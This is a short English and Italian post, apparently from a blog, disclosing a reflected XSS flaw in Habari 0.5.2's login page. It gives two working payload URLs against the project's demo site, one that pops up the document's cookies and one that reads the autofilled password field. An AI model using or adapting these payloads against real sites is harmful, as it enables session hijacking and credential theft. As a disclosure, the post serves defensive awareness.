Habari 0.5.2 XSS - OWN

Habari Team has not (well) fixed an exploit found in 0.5.1. See Exploit in action: http://demo.habariproject.org/user/login/?habari_username=%22%20onFocus=%22alert(document.cookie) There are a lot of implementations of this XSS. See firefox autocomplete: ..user/login/?habari_username=%22%20onFocus=%22alert(document.forms[0].habari_password.value) ------------------- Exploit XSS nell'ultima versione di Habari. Esempio nella demo ufficiale: http://demo.habariproject.org/user/login/?habari_username=%22%20onFocus=%22alert(document.cookie)

---

Questo articolo è stato pubblicato il 31-12-1969 alle 18:33 e classificato in .